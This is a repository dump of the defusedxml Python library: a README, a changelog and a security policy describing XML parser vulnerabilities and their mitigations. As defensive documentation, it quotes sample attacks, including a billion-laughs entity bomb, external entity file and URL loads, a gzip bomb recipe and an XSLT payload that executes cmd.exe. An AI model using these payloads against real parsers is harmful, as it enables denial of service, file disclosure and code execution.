     <xsl:template match="/">
       <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
       <xsl:variable name="command"
         select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
       <xsl:variable name="commandAsString" select="ob:toString($command)"/>
       <xsl:value-of select="$commandAsString"/>
     </xsl:template>
    </xsl:stylesheet>

## Related CVEs

CVE-2013-1664  
Unrestricted entity expansion induces DoS vulnerabilities in Python XML
libraries (XML bomb)

CVE-2013-1665  
External entity expansion in Python XML libraries inflicts potential
security flaws and DoS vulnerabilities

## Other languages / frameworks

Several other programming languages and frameworks are vulnerable as
well. A couple of them are affected by the fact that libxml2 up to 2.9.0
has no protection against quadratic blowup attacks. Most of them have
potential dangerous default settings for entity expansion and external
entities, too.

### Perl

Perl's XML::Simple is vulnerable to quadratic entity expansion and
external entity expansion (both local and remote).

### Ruby

Ruby's REXML document parser is vulnerable to entity expansion attacks
(both quadratic and exponential) but it doesn't do external entity
expansion by default. In order to counteract entity expansion you have
to disable the feature:

    REXML::Document.entity_expansion_limit = 0

libxml-ruby and hpricot don't expand entities in their default
configuration.

### PHP

PHP's SimpleXML API is vulnerable to quadratic entity expansion and
loads entities from local and remote resources. The option
`LIBXML_NONET` disables network access but still allows local file
access. `LIBXML_NOENT` seems to have no effect on entity expansion in
PHP 5.4.6.

### C# / .NET / Mono

Information in [XML DoS and Defenses
(MSDN)](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx) suggest
that .NET is vulnerable with its default settings. The article contains
code snippets how to create a secure XML reader:

    XmlReaderSettings settings = new XmlReaderSettings();
    settings.ProhibitDtd = false;
    settings.MaxCharactersFromEntities = 1024;
    settings.XmlResolver = null;
    XmlReader reader = XmlReader.Create(stream, settings);

### Java

Untested. The documentation of Xerces and its [Xerces
SecurityMananger](https://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html)
sounds like Xerces is also vulnerable to billion laugh attacks with its
default settings. It also does entity resolving when an
`org.xml.sax.EntityResolver` is configured. I'm not yet sure about the
default setting here.

Java specialists suggest to have a custom builder factory:

    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
    builderFactory.setXIncludeAware(False);
    builderFactory.setExpandEntityReferences(False);
    builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);
    # either
    builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True);
    # or if you need DTDs
    builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False);
    builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False);
    builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False);
    builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False);

## TODO

-   DOM: Use xml.dom.xmlbuilder options for entity handling
-   SAX: take feature_external_ges and feature_external_pes (?) into
    account
-   test experimental monkey patching of stdlib modules
-   improve documentation

## License

Copyright (c) 2013-2023 by Christian Heimes \<<christian@python.org>\>

Licensed to PSF under a Contributor Agreement.

See <https://www.python.org/psf/license> for licensing details.

## Acknowledgements

Brett Cannon (Python Core developer)  
review and code cleanup

Antoine Pitrou (Python Core developer)  
code review

Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)  
Many thanks to Aaron, Ben and Michael from the Ruby community for their
report and assistance.

Thierry Carrez (OpenStack)  
Many thanks to Thierry for his report to the Python Security Response
Team on behalf of the OpenStack security team.

Carl Meyer (Django)  
Many thanks to Carl for his report to PSRT on behalf of the Django
security team.

Daniel Veillard (libxml2)  
Many thanks to Daniel for his insight and assistance with libxml2.

semantics GmbH (<https://www.semantics.de/>)  
Many thanks to my employer semantics for letting me work on the issue
during working hours as part of semantics's open source initiative.

## References

-   [XML DoS and Defenses
    (MSDN)](https://msdn.microsoft.com/en-us/magazine/ee335713.aspx)
-   [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs) on
    Wikipedia
-   [ZIP bomb](https://en.wikipedia.org/wiki/Zip_bomb) on Wikipedia
-   [Configure SAX parsers for secure
    processing](http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html)
-   [Testing for XML
    Injection](https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008))
# Changelog

## defusedxml 0.8.0

*Release date: 2023*

-   Fix testing without lxml
-   Test on 3.13-dev and PyPy 3.9

## defusedxml 0.8.0rc2

*Release date: 29-Sep-2023*

-   Silence deprecation warning in <span
    class="title-ref">defuse_stdlib</span>.
-   Update lxml safety information

## defusedxml 0.8.0rc1

*Release date: 26-Sep-2023*

-   Drop support for Python 2.7, 3.4, and 3.5.
-   Test on 3.10, 3.11, and 3.12.
-   Add `defusedxml.ElementTree.fromstringlist()`
-   Update *vulnerabilities and features* table in README.
-   **Pending removal** The `defusedxml.lxml` module has been
    unmaintained and deprecated since 2019. The module will be removed
    in the next version.
-   **Pending removal** The `defusedxml.cElementTree` will be removed in
    the next version. Please use `defusedxml.ElementTree` instead.

## defusedxml 0.7.1

*Release date: 08-Mar-2021*

-   Fix regression `defusedxml.ElementTree.ParseError` (#63) The
    `ParseError` exception is now the same class object as
    `xml.etree.ElementTree.ParseError` again.

## defusedxml 0.7.0

*Release date: 4-Mar-2021*

-   No changes

## defusedxml 0.7.0rc2

*Release date: 12-Jan-2021*

-   Re-add and deprecate `defusedxml.cElementTree`
-   Use GitHub Actions instead of TravisCI
-   Restore `ElementTree` attribute of `xml.etree` module after patching

## defusedxml 0.7.0rc1

*Release date: 04-May-2020*

-   Add support for Python 3.9
-   `defusedxml.cElementTree` is not available with Python 3.9.
-   Python 2 is deprecate. Support for Python 2 will be removed in
    0.8.0.

## defusedxml 0.6.0

*Release date: 17-Apr-2019*

-   Increase test coverage.
-   Add badges to README.

## defusedxml 0.6.0rc1

*Release date: 14-Apr-2019*

-   Test on Python 3.7 stable and 3.8-dev
-   Drop support for Python 3.4
-   No longer pass *html* argument to XMLParse. It has been deprecated
    and ignored for a long time. The DefusedXMLParser still takes a html
    argument. A deprecation warning is issued when the argument is False
    and a TypeError when it's True.
-   defusedxml now fails early when pyexpat stdlib module is not
    available or broken.
-   defusedxml.ElementTree.\_\_all\_\_ now lists ParseError as public
    attribute.
-   The defusedxml.ElementTree and defusedxml.cElementTree modules had a
    typo and used XMLParse instead of XMLParser as an alias for
    DefusedXMLParser. Both the old and fixed name are now available.

## defusedxml 0.5.0

*Release date: 07-Feb-2017*

-   No changes

## defusedxml 0.5.0.rc1

*Release date: 28-Jan-2017*

-   Add compatibility with Python 3.6
-   Drop support for Python 2.6, 3.1, 3.2, 3.3
-   Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)

## defusedxml 0.4.1

*Release date: 28-Mar-2013*

-   Add more demo exploits, e.g. python_external.py and Xalan XSLT
    demos.
-   Improved documentation.

## defusedxml 0.4

*Release date: 25-Feb-2013*

-   As per <http://seclists.org/oss-sec/2013/q1/340> please REJECT
    CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use
    CVE-2013-1664, CVE-2013-1665 for OpenStack/etc.
-   Add missing parser_list argument to sax.make_parser(). The argument
    is ignored, though. (thanks to Florian Apolloner)
-   Add demo exploit for external entity attack on Python's SAX parser,
    XML-RPC and WebDAV.

## defusedxml 0.3

*Release date: 19-Feb-2013*

-   Improve documentation

## defusedxml 0.2

*Release date: 15-Feb-2013*

-   Rename ExternalEntitiesForbidden to ExternalReferenceForbidden
-   Rename defusedxml.lxml.check_dtd() to check_docinfo()
-   Unify argument names in callbacks
-   Add arguments and formatted representation to exceptions
-   Add forbid_external argument to all functions and classes
-   More tests
-   LOTS of documentation
-   Add example code for other languages (Ruby, Perl, PHP) and parsers
    (Genshi)
-   Add protection against XML and gzip attacks to xmlrpclib

## defusedxml 0.1

*Release date: 08-Feb-2013*

-   Initial and internal release for PSRT review


================================================
FILE: README.txt
================================================
===================================================
defusedxml -- defusing XML bombs and other exploits
===================================================

.. image:: https://img.shields.io/pypi/v/defusedxml.svg
    :target: https://pypi.org/project/defusedxml/
    :alt: Latest Version

.. image:: https://img.shields.io/pypi/pyversions/defusedxml.svg
    :target: https://pypi.org/project/defusedxml/
    :alt: Supported Python versions

.. image:: https://travis-ci.org/tiran/defusedxml.svg?branch=master
    :target: https://travis-ci.org/tiran/defusedxml
    :alt: Travis CI

.. image:: https://codecov.io/github/tiran/defusedxml/coverage.svg?branch=master
    :target: https://codecov.io/github/tiran/defusedxml?branch=master
    :alt: codecov

.. image:: https://img.shields.io/pypi/dm/defusedxml.svg
    :target: https://pypistats.org/packages/defusedxml
    :alt: PyPI downloads

.. image:: https://img.shields.io/badge/code%20style-black-000000.svg
    :target: https://github.com/psf/black
    :alt: Code style: black

..

    "It's just XML, what could probably go wrong?"

Christian Heimes <christian@python.org>

Synopsis
========

The results of an attack on a vulnerable XML library can be fairly dramatic.
With just a few hundred **Bytes** of XML data an attacker can occupy several
**Gigabytes** of memory within **seconds**. An attacker can also keep
CPUs busy for a long time with a small to medium size request. Under some
circumstances it is even possible to access local files on your
server, to circumvent a firewall, or to abuse services to rebound attacks to
third parties.

The attacks use and abuse less common features of XML and its parsers. The
majority of developers are unacquainted with features such as processing
instructions and entity expansions that XML inherited from SGML. At best
they know about ``<!DOCTYPE>`` from experience with HTML but they are not
aware that a document type definition (DTD) can generate an HTTP request
or load a file from the file system.

None of the issues is new. They have been known for a long time. Billion
laughs was first reported in 2003. Nevertheless some XML libraries and
applications are still vulnerable and even heavy users of XML are
surprised by these features. It's hard to say whom to blame for the
situation. It's too short sighted to shift all blame on XML parsers and
XML libraries for using insecure default settings. After all they
properly implement XML specifications. Application developers must not rely
that a library is always configured for security and potential harmful data
by default.


.. contents:: Table of Contents
   :depth: 2


Attack vectors
==============

billion laughs / exponential entity expansion
---------------------------------------------

The `Billion Laughs`_ attack -- also known as exponential entity expansion --
uses multiple levels of nested entities. The original example uses 9 levels
of 10 expansions in each level to expand the string ``lol`` to a string of
3 * 10 :sup:`9` bytes, hence the name "billion laughs". The resulting string
occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional
memory. Because most parsers don't cache the intermediate step for every
expansion it is repeated over and over again. It increases the CPU load even
more.

An XML document of just a few hundred bytes can disrupt all services on a
machine within seconds.

Example XML::

    <!DOCTYPE xmlbomb [
    <!ENTITY a "1234567890" >
    <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
    <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
    <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
    ]>
    <bomb>&d;</bomb>


quadratic blowup entity expansion
---------------------------------

A quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses
entity expansion, too. Instead of nested entities it repeats one large entity
with a couple of thousand chars over and over again. The attack isn't as
efficient as the exponential case but it avoids triggering countermeasures of
parsers against heavily nested entities. Some parsers limit the depth and
breadth of a single entity but not the total amount of expanded text
throughout an entire XML document.

A medium-sized XML document with a couple of hundred kilobytes can require a
couple of hundred MB to several GB of memory. When the attack is combined
with some level of nested expansion an attacker is able to achieve a higher
ratio of success.

::

    <!DOCTYPE bomb [
    <!ENTITY a "xxxxxxx... a couple of ten thousand chars">
    ]>
    <bomb>&a;&a;&a;... repeat</bomb>


external entity expansion (remote)
----------------------------------

Entity declarations can contain more than just text for replacement. They can
also point to external resources by public identifiers or system identifiers.
System identifiers are standard URIs. When the URI is a URL (e.g. a
``http://`` locator) some parsers download the resource from the remote
location and embed them into the XML document verbatim.

Simple example of a parsed external entity::

    <!DOCTYPE external [
    <!ENTITY ee SYSTEM "http://www.python.org/some.xml">
    ]>
    <root>&ee;</root>

The case of parsed external entities works only for valid XML content. The
XML standard also supports unparsed external entities with a
``NData declaration``.

External entity expansion opens the door to plenty of exploits. An attacker
can abuse a vulnerable XML library and application to rebound and forward
network requests with the IP address of the server. It highly depends
on the parser and the application what kind of exploit is possible. For
example:

* An attacker can circumvent firewalls and gain access to restricted
  resources as all the requests are made from an internal and trustworthy
  IP address, not from the outside.
* An attacker can abuse a service to attack, spy on or DoS your servers but
  also third party services. The attack is disguised with the IP address of
  the server and the attacker is able to utilize the high bandwidth of a big
  machine.
* An attacker can exhaust additional resources on the machine, e.g. with
  requests to a service that doesn't respond or responds with very large
  files.
* An attacker may gain knowledge, when, how often and from which IP address
  an XML document is accessed.
* An attacker could send mail from inside your network if the URL handler
  supports ``smtp://`` URIs.


external entity expansion (local file)
--------------------------------------

External entities with references to local files are a sub-case of external
entity expansion. It's listed as an extra attack because it deserves extra
attention. Some XML libraries such as lxml disable network access by default
but still allow entity expansion with local file access by default. Local
files are either referenced with a ``file://`` URL or by a file path (either
relative or absolute). Additionally, lxml's ``libxml2`` has catalog support.
XML catalogs like ``/etc/xml/catalog`` are XML files, which map schema URIs
to local files.

An attacker may be able to access and download all files that can be read by
the application process. This may include critical configuration files, too.

::

    <!DOCTYPE external [
    <!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
    ]>
    <root>&ee;</root>


DTD retrieval
-------------

This case is similar to external entity expansion, too. Some XML libraries
like Python's xml.dom.pulldom retrieve document type definitions from remote
or local locations. Several attack scenarios from the external entity case
apply to this issue as well.

::

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html>
        <head/>
        <body>text</body>
    </html>


Python XML Libraries
====================

.. csv-table:: vulnerabilities and features
   :header: "kind", "sax", "etree", "minidom", "pulldom", "xmlrpc"
   :widths: 24, 7, 8, 8, 7, 8
   :stub-columns: 0

   "billion laughs", "**Maybe** (1)", "**Maybe** (1)", "**Maybe** (1)", "**Maybe** (1)", "**Maybe** (1)"
   "quadratic blowup", "**Maybe** (1)", "**Maybe** (1)", "**Maybe** (1)", "**Maybe** (1)", "**Maybe** (1)"
   "external entity expansion (remote)", "False (2)", "False (3)", "False (4)", "False (2)", "false"
   "external entity expansion (local file)", "False (2)", "False (3)", "False (4)", "False (2)", "false"
   "DTD retrieval", "False (2)", "False", "False", "False (2)", "false"
   "gzip bomb", "False", "False", "False", "False", "**True**"
   "xpath support (6)", "False", "False", "False", "False", "False"
   "xsl(t) support (6)", "False", "False", "False", "False", "False"
   "xinclude support (6)", "False", "**True** (5)", "False", "False", "False"
   "C library", "expat", "expat", "expat", "expat", "expat"

1. `expat parser`_ >= 2.4.0 has `billion laughs protection`_
   against XML bombs (CVE-2013-0340). The parser has sensible defaults
   for ``XML_SetBillionLaughsAttackProtectionMaximumAmplification`` and
   ``XML_SetBillionLaughsAttackProtectionActivationThreshold``.
2. Python >= 3.6.8, >= 3.7.1, and >= 3.8 no longer retrieve local and remote
   resources with urllib, see `bpo-17239`_.
3. xml.etree doesn't expand entities and raises a ParserError when an entity
   occurs.
4. minidom doesn't expand entities and simply returns the unexpanded entity
   verbatim.
5. Library has (limited) XInclude support but requires an additional step to
   process inclusion.
6. These are features but they may introduce exploitable holes, see
   `Other things to consider`_


Settings in standard library
----------------------------


xml.sax.handler Features
........................

feature_external_ges (http://xml.org/sax/features/external-general-entities)
  disables external entity expansion

feature_external_pes (http://xml.org/sax/features/external-parameter-entities)
  the option is ignored and doesn't modify any functionality

DOM xml.dom.xmlbuilder.Options
..............................

external_parameter_entities
  ignored

external_general_entities
  ignored

external_dtd_subset
  ignored

entities
  unsure


defusedxml
==========

The `defusedxml package`_ (`defusedxml on PyPI`_)
contains several Python-only workarounds and fixes
for denial of service and other vulnerabilities in Python's XML libraries.
In order to benefit from the protection you just have to import and use the
listed functions / classes from the right defusedxml module instead of the
original module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch.

Instead of::

   >>> from xml.etree.ElementTree import parse
   >>> et = parse(xmlfile)

alter code to::

   >>> from defusedxml.ElementTree import parse
   >>> et = parse(xmlfile)

.. Note::

   The defusedxml modules are not drop-in replacements of their stdlib
   counterparts. The modules only provide functions and classes related to
   parsing and loading of XML. For all other features, use the classes,
   functions, and constants from the stdlib modules. For example::

      >>> from defusedxml import ElementTree as DET
      >>> from xml.etree.ElementTree as ET

      >>> root = DET.fromstring("<root/>")
      >>> root.append(ET.Element("item"))
      >>> ET.tostring(root)
      b'<root><item /></root>'


Additionally the package has an **untested** function to monkey patch
all stdlib modules with ``defusedxml.defuse_stdlib()``.

.. Warning::

   ``defuse_stdlib()`` should be avoided. It can break third party package or
   cause surprising side effects. Instead you should use the parsing features
   of defusedxml explicitly.

All functions and parser classes accept three additional keyword arguments.
They return either the same objects as the original functions or compatible
subclasses.

forbid_dtd (default: False)
  disallow XML with a ``<!DOCTYPE>`` processing instruction and raise a
  *DTDForbidden* exception when a DTD processing instruction is found.

forbid_entities (default: True)
  disallow XML with ``<!ENTITY>`` declarations inside the DTD and raise an
  *EntitiesForbidden* exception when an entity is declared.

forbid_external (default: True)
  disallow any access to remote or local resources in external entities
  or DTD and raising an *ExternalReferenceForbidden* exception when a DTD
  or entity references an external resource.


defusedxml (package)
--------------------

DefusedXmlException, DTDForbidden, EntitiesForbidden,
ExternalReferenceForbidden, NotSupportedError

defuse_stdlib() (*experimental*)


defusedxml.cElementTree
-----------------------

**NOTE** ``defusedxml.cElementTree`` is deprecated and will be removed in a
future release. Import from ``defusedxml.ElementTree`` instead.

parse(), iterparse(), fromstring(), XMLParser


defusedxml.ElementTree
-----------------------

parse(), iterparse(), fromstring(), XMLParser


defusedxml.expatreader
----------------------

create_parser(), DefusedExpatParser


defusedxml.sax
--------------

parse(), parseString(), make_parser()


defusedxml.expatbuilder
-----------------------

parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS


defusedxml.minidom
------------------

parse(), parseString()


defusedxml.pulldom
------------------

parse(), parseString()


defusedxml.xmlrpc
-----------------

The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x)
or xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes,
`unmonkey_patch()` removes the patch and puts the code in its former state.

The monkey patch protects against XML related attacks as well as
decompression bombs and excessively large requests or responses. The default
setting is 30 MB for requests, responses and gzip decompression. You can
modify the default by changing the module variable `MAX_DATA`. A value of
`-1` disables the limit.


defusedxml.lxml
---------------

**DEPRECATED** The module is deprecated and will be removed in a future
release.

lxml is safe against most attack scenarios. lxml uses ``libxml2`` for
parsing XML. The library has builtin mitigations against billion laughs and
quadratic blowup attacks. The parser allows a limit amount of entity
expansions, then fails. lxml also disables network access by default.
libxml2 `lxml FAQ`_ lists additional recommendations for safe parsing,
for example counter measures against compression bombs.

The default parser resolves entities and protects against huge trees and
deeply nested entities. To disable entities expansion, use a custom parser
object::

   from lxml import etree

   parser = etree.XMLParser(resolve_entities=False)
   root = etree.fromstring("<example/>", parser=parser)


The module acts as an *example* how you could protect code that uses
lxml.etree. It implements a custom Element class that filters out
Entity instances, a custom parser factory and a thread local storage for
parser instances. It also has a check_docinfo() function which inspects
a tree for internal or external DTDs and entity declarations. In order to
check for entities lxml > 3.0 is required.

parse(), fromstring()
RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo()


defusedexpat
============

The `defusedexpat package`_ (`defusedexpat on PyPI`_) is no longer supported.
`expat parser`_ 2.4.0 and newer come with `billion laughs protection`_
against XML bombs.


How to avoid XML vulnerabilities
================================

Update to Python 3.6.8, 3.7.1, or newer. The SAX and DOM parser do not
load external entities from files or network resources.

Update to expat to 2.4.0 or newer. It has `billion laughs protection`_ with
sensible default limits to mitigate billion laughs and quadratic blowup.

Official binaries from python.org use libexpat 2.4.0 since 3.7.12, 3.8.12,
3.9.7, and 3.10.0 (August 2021). Third party vendors may use older or
newer versions of expat. ``pyexpat.version_info`` contains the current
runtime version of libexpat. Vendors may have backported fixes to older
versions without bumping the version number.

Example::

   import sys
   import pyexpat

   has_mitigations = (
       sys.version_info >= (3, 7, 1) and
       pyexpat.version_info >= (2, 4, 0)
   )


Best practices
--------------

* Don't allow DTDs
* Don't expand entities
* Don't resolve externals
* Limit parse depth
* Limit total input size
* Limit parse time
* Favor a SAX or iterparse-like parser for potential large data
* Validate and properly quote arguments to XSL transformations and
  XPath queries
* Don't use XPath expression from untrusted sources
* Don't apply XSL transformations that come untrusted sources

(based on Brad Hill's `Attacking XML Security`_)


Other things to consider
========================

XML, XML parsers and processing libraries have more features and possible
issue that could lead to DoS vulnerabilities or security exploits in
applications. I have compiled an incomplete list of theoretical issues that
need further research and more attention. The list is deliberately pessimistic
and a bit paranoid, too. It contains things that might go wrong under daffy
circumstances.


attribute blowup / hash collision attack
----------------------------------------

XML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to
handle attributes and namespaces. If it uses hash tables (dictionaries) to
store attributes and namespaces the implementation may be vulnerable to
hash collision attacks, thus reducing the performance to O(n :sup:`2`) again.
In either case an attacker is able to forge a denial of service attack with
an XML document that contains thousands upon thousands of attributes in
a single node.

I haven't researched yet if expat, pyexpat or libxml2 are vulnerable.


decompression bomb
------------------

The issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries
that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed
files. For an attacker it can reduce the amount of transmitted data by three
magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB,
lzma is even better::

    $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
    $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
    $ ls -sh zeros.*
    1020K zeros.gz
     148K zeros.xy

None of Python's standard XML libraries decompress streams except for
``xmlrpclib``. The module is vulnerable <https://bugs.python.org/issue16043>
to decompression bombs.

lxml can load and process compressed data through libxml2 transparently.
libxml2 can handle even very large blobs of compressed data efficiently
without using too much memory. But it doesn't protect applications from
decompression bombs. A carefully written SAX or iterparse-like approach can
be safe.


Processing Instruction
----------------------

`PI`_'s like::

  <?xml-stylesheet type="text/xsl" href="style.xsl"?>

may impose more threats for XML processing. It depends if and how a
processor handles processing instructions. The issue of URL retrieval with
network or local file access apply to processing instructions, too.


Other DTD features
------------------

`DTD`_ has more features like ``<!NOTATION>``. I haven't researched how
these features may be a security threat.


XPath
-----

XPath statements may introduce DoS vulnerabilities. Code should never execute
queries from untrusted sources. An attacker may also be able to create an XML
document that makes certain XPath queries costly or resource hungry.


XPath injection attacks
-----------------------

XPath injeciton attacks pretty much work like SQL injection attacks.
Arguments to XPath queries must be quoted and validated properly, especially
when they are taken from the user. The page `Avoid the dangers of XPath injection`_
list some ramifications of XPath injections.

Python's standard library doesn't have XPath support. Lxml supports
parameterized XPath queries which does proper quoting. You just have to use
its xpath() method correctly::

   # DON'T
   >>> tree.xpath("/tag[@id='%s']" % value)

   # instead do
   >>> tree.xpath("/tag[@id=$tagid]", tagid=name)


XInclude
--------

`XML Inclusion`_ is another way to load and include external files::

   <root xmlns:xi="http://www.w3.org/2001/XInclude">
     <xi:include href="filename.txt" parse="text" />
   </root>

This feature should be disabled when XML files from an untrusted source are
processed. Some Python XML libraries and libxml2 support XInclude but don't
have an option to sandbox inclusion and limit it to allowed directories.


XMLSchema location
------------------

A validating XML parser may download schema files from the information in a
``xsi:schemaLocation`` attribute.

::

  <ead xmlns="urn:isbn:1-931666-22-9"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="urn:isbn:1-931666-22-9 http://www.loc.gov/ead/ead.xsd">
  </ead>


XSL Transformation
------------------

You should keep in mind that XSLT is a Turing complete language. Never
process XSLT code from unknown or untrusted source! XSLT processors may
allow you to interact with external resources in ways you can't even imagine.
Some processors even support extensions that allow read/write access to file
system, access to JRE objects or scripting with Jython.

Example from `Attacking XML Security`_ for Xalan-J::

    <xsl:stylesheet version="1.0"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
     xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
     exclude-result-prefixes= "rt ob">
     <xsl:template match="/">
       <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
       <xsl:variable name="command"
         select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
       <xsl:variable name="commandAsString" select="ob:toString($command)"/>
       <xsl:value-of select="$commandAsString"/>
     </xsl:template>
    </xsl:stylesheet>


Related CVEs
============

CVE-2013-1664
  Unrestricted entity expansion induces DoS vulnerabilities in Python XML
  libraries (XML bomb)

CVE-2013-1665
  External entity expansion in Python XML libraries inflicts potential
  security flaws and DoS vulnerabilities


Other languages / frameworks
=============================

Several other programming languages and frameworks are vulnerable as well. A
couple of them are affected by the fact that libxml2 up to 2.9.0 has no
protection against quadratic blowup attacks. Most of them have potential
dangerous default settings for entity expansion and external entities, too.

Perl
----

Perl's XML::Simple is vulnerable to quadratic entity expansion and external
entity expansion (both local and remote).


Ruby
----

Ruby's REXML document parser is vulnerable to entity expansion attacks
(both quadratic and exponential) but it doesn't do external entity
expansion by default. In order to counteract entity expansion you have to
disable the feature::

  REXML::Document.entity_expansion_limit = 0

libxml-ruby and hpricot don't expand entities in their default configuration.


PHP
---

PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads
entities from local and remote resources. The option ``LIBXML_NONET`` disables
network access but still allows local file access. ``LIBXML_NOENT`` seems to
have no effect on entity expansion in PHP 5.4.6.


C# / .NET / Mono
----------------

Information in `XML DoS and Defenses (MSDN)`_ suggest that .NET is
vulnerable with its default settings. The article contains code snippets
how to create a secure XML reader::

  XmlReaderSettings settings = new XmlReaderSettings();
  settings.ProhibitDtd = false;
  settings.MaxCharactersFromEntities = 1024;
  settings.XmlResolver = null;
  XmlReader reader = XmlReader.Create(stream, settings);


Java
----

Untested. The documentation of Xerces and its `Xerces SecurityMananger`_
sounds like Xerces is also vulnerable to billion laugh attacks with its
default settings. It also does entity resolving when an
``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the
default setting here.

Java specialists suggest to have a custom builder factory::

  DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
  builderFactory.setXIncludeAware(False);
  builderFactory.setExpandEntityReferences(False);
  builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);
  # either
  builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True);
  # or if you need DTDs
  builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False);
  builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False);
  builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False);
  builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False);


TODO
====

* DOM: Use xml.dom.xmlbuilder options for entity handling
* SAX: take feature_external_ges and feature_external_pes (?) into account
* test experimental monkey patching of stdlib modules
* improve documentation


License
=======

Copyright (c) 2013-2023 by Christian Heimes <christian@python.org>

Licensed to PSF under a Contributor Agreement.

See https://www.python.org/psf/license for licensing details.


Acknowledgements
================

Brett Cannon (Python Core developer)
  review and code cleanup

Antoine Pitrou (Python Core developer)
  code review

Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)
  Many thanks to Aaron, Ben and Michael from the Ruby community for their
  report and assistance.

Thierry Carrez (OpenStack)
  Many thanks to Thierry for his report to the Python Security Response
  Team on behalf of the OpenStack security team.

Carl Meyer (Django)
  Many thanks to Carl for his report to PSRT on behalf of the Django security
  team.

Daniel Veillard (libxml2)
  Many thanks to Daniel for his insight and assistance with libxml2.

semantics GmbH (https://www.semantics.de/)
  Many thanks to my employer semantics for letting me work on the issue
  during working hours as part of semantics's open source initiative.


References
==========

* `XML DoS and Defenses (MSDN)`_
* `Billion Laughs`_ on Wikipedia
* `ZIP bomb`_ on Wikipedia
* `Configure SAX parsers for secure processing`_
* `Testing for XML Injection`_

.. _defusedxml package: https://github.com/tiran/defusedxml
.. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml
.. _defusedexpat package: https://github.com/tiran/defusedexpat
.. _defusedexpat on PyPI: https://pypi.python.org/pypi/defusedexpat
.. _expat parser: https://libexpat.github.io/
.. _billion laughs protection: https://libexpat.github.io/doc/api/latest/#billion-laughs
.. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf
.. _Billion Laughs: https://en.wikipedia.org/wiki/Billion_laughs
.. _XML DoS and Defenses (MSDN): https://msdn.microsoft.com/en-us/magazine/ee335713.aspx
.. _ZIP bomb: https://en.wikipedia.org/wiki/Zip_bomb
.. _DTD: https://en.wikipedia.org/wiki/Document_Type_Definition
.. _PI: https://en.wikipedia.org/wiki/Processing_Instruction
.. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html
.. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
.. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
.. _Xerces SecurityMananger: https://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html
.. _XML Inclusion: https://www.w3.org/TR/xinclude/#include_element
.. _bpo-17239: https://github.com/python/cpython/issues/61441
.. _lxml FAQ: https://lxml.de/FAQ.html#how-do-i-use-lxml-safely-as-a-web-service-endpoint


================================================
FILE: SECURITY.md
================================================
# Security Policy

## Supported Versions

| Version | Supported          |
| ------- | ------------------ |
| 0.8.0   | :white_check_mark: |
| 0.7.1   | :white_check_mark: |
| < 0.7.1 | :x:                |

## Reporting a Vulnerability

Please report security issues to christian@python.org


================================================
FILE: defusedxml/ElementTree.py
================================================
# defusedxml
#
# Copyright (c) 2013-2020 by Christian Heimes <christian@python.org>
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.etree.ElementTree facade
"""
